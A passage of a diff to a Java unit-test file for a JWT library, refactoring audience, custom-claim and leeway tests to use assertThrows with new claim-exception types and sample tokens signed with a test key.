-        String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
-        DecodedJWT jwtArr = JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAnyOfAudience("Joe", "Jim")
-                .build()
-                .verify(tokenArr);
-    }
-
-    @Test
-    public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-
-        // Token 'aud' = ["Mark", "David", "John"]
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAudience("Mark", "Joe")
-                .build()
-                .verify(token);
-    }
-
-    @Test
-    public void shouldThrowWhenAudienceClaimIsNull() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-
-        // Token 'aud': null
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAudience("nope")
-                .build()
-                .verify(token);
-    }
-
-    @Test
-    public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-
-        // Token 'aud': null
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAnyOfAudience("nope")
-                .build()
-                .verify(token);
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullReference() throws Exception {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAudience((String) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
-
-        verifier = JWTVerifier.init(algorithm)
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud' = ["Mark", "David", "John"]
+            String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAnyOfAudience("Joe", "Jim")
+                    .build()
+                    .verify(tokenArr);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
+    }
+
+    @Test
+    public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud' = ["Mark", "David", "John"]
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("Mark", "Joe")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
+    }
+
+    @Test
+    public void shouldThrowWhenAudienceClaimIsNull() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud': null
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
+        assertThat(e.getClaimValue().isNull(), is(true));
+    }
+
+    @Test
+    public void shouldThrowWhenAudienceClaimIsMissing(){
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("aud"));
+    }
+
+    @Test
+    public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud': [null]
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpbbnVsbF19.2cBf7FbkX52h8Vmjnl1DY1PYe_J_YP0KsyeoeYmuca8";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAnyOfAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {null}));
+    }
+
+    @Test
+    public void shouldNotReplaceWhenMultipleChecksAreAdded() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
-
-        verifier = JWTVerifier.init(algorithm)
                 .withAudience()
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
-
-        String emptyAud = "   ";
-        verifier = JWTVerifier.init(algorithm)
-                .withAudience(emptyAud)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry(JWTVerifier.AUDIENCE_EXACT, Collections.singletonList(emptyAud)));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() throws Exception {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience()
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        String emptyAud = "   ";
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience(emptyAud)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry(JWTVerifier.AUDIENCE_CONTAINS, Collections.singletonList(emptyAud)));
+        assertThat(verifier.expectedChecks.size(), is(7)); //3 extra mandatory checks exp, nbf, iat
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNull() throws Exception {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAudience("John")
-                .withAudience((String) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAudience("John")
-                .withAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() throws Exception {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience("John")
-                .withAnyOfAudience((String) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience("John")
-                .withAnyOfAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
-    }
-
-    @Test
-    public void shouldThrowOnNullCustomClaimName() throws Exception {
+    public void shouldThrowOnNullCustomClaimName() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim(null, "value");
     }
 
     @Test
-    public void shouldThrowWhenExpectedArrayClaimIsMissing() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withArrayClaim("missing", 1, 2, 3)
-                .build()
-                .verify(token);
+    public void shouldThrowWhenExpectedArrayClaimIsMissing() {
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("missing", 1, 2, 3)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
-    public void shouldThrowWhenExpectedClaimIsMissing() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("missing", "text")
-                .build()
-                .verify(token);
+    public void shouldThrowWhenExpectedClaimIsMissing() {
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("missing", "text")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeString() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", "value")
-                .build()
-                .verify(token);
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", "value")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", 123)
-                .build()
-                .verify(token);
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", 123)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", 23.45)
-                .build()
-                .verify(token);
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", 23.45)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", true)
-                .build()
-                .verify(token);
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", true)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", new Date())
-                .build()
-                .verify(token);
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", new Date())
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValue() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        Map<String, Object> map = new HashMap<>();
-        map.put("name", new Object());
-        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, new ClockImpl());
-        verifier.verify(token);
-    }
+    public void shouldThrowOnInvalidCustomClaimValue() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", "check")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
+    }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeString() throws Exception {
+    public void shouldValidateCustomClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidmFsdWUifQ.Jki8pvw6KGbxpMinufrgo6RDL1cu7AtNMJYVh6t-_cE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "value")
@@ -466,7 +453,7 @@ public void shouldValidateCustomClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeInteger() throws Exception {
+    public void shouldValidateCustomClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxMjN9.XZAudnA7h3_Al5kJydzLjw6RzZC3Q6OvnLEYlhNW7HA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 123)
@@ -477,7 +464,7 @@ public void shouldValidateCustomClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeLong() throws Exception {
+    public void shouldValidateCustomClaimOfTypeLong() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjo5MjIzMzcyMDM2ODU0Nzc2MDB9.km-IwQ5IDnTZFmuJzhSgvjTzGkn_Z5X29g4nAuVC56I";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 922337203685477600L)
@@ -488,7 +475,7 @@ public void shouldValidateCustomClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeDouble() throws Exception {
+    public void shouldValidateCustomClaimOfTypeDouble() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoyMy40NX0.7pyX2OmEGaU9q15T8bGFqRm-d3RVTYnqmZNZtxMKSlA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 23.45)
@@ -499,7 +486,7 @@ public void shouldValidateCustomClaimOfTypeDouble() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldValidateCustomClaimOfTypeBoolean() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjp0cnVlfQ.FwQ8VfsZNRqBa9PXMinSIQplfLU4-rkCLfIlTLg_MV0";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", true)
@@ -510,9 +497,9 @@ public void shouldValidateCustomClaimOfTypeBoolean() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeDate() throws Exception {
+    public void shouldValidateCustomClaimOfTypeDate() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
-        Date date = new Date(1478891521000L);
+        Date date = new Date(1478891521123L);
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", date)
                 .build()
@@ -522,7 +509,18 @@ public void shouldValidateCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldNotRemoveCustomClaimOfTypeDateWhenNull() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("name", new Date())
+                .withClaim("name", (Date) null)
+                .build();
+
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks.size(), is(5));
+    }
+
+    @Test
+    public void shouldValidateCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", "text", "123", "true")
@@ -533,7 +531,7 @@ public void shouldValidateCustomArrayClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1, 2, 3)
@@ -544,7 +542,7 @@ public void shouldValidateCustomArrayClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLong() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLong() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbNTAwMDAwMDAwMDAxLDUwMDAwMDAwMDAwMiw1MDAwMDAwMDAwMDNdfQ.vzV7S0gbV9ZAVxChuIt4XZuSVTxMH536rFmoHzxmayM";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 500000000001L, 500000000002L, 500000000003L)
@@ -555,7 +553,7 @@ public void shouldValidateCustomArrayClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1L, 2L, 3L)
@@ -566,7 +564,7 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() throws
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSw1MDAwMDAwMDAwMDIsNTAwMDAwMDAwMDAzXX0.PQjb2rPPpYjM2sItZEzZcjS2YbfPCp6xksTSPjpjTQA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1L, 500000000002L, 500000000003L)
@@ -577,150 +575,126 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong()
     }
 
     // Generic Delta
-    @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldAddDefaultLeewayToDateClaims() throws Exception {
+    public void shouldAddDefaultLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 0L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 0L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 0L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(0L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(0L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(0L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldAddCustomLeewayToDateClaims() throws Exception {
+    public void shouldAddCustomLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldOverrideDefaultIssuedAtLeeway() throws Exception {
+    public void shouldOverrideDefaultIssuedAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptIssuedAt(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 9999L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(9999L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
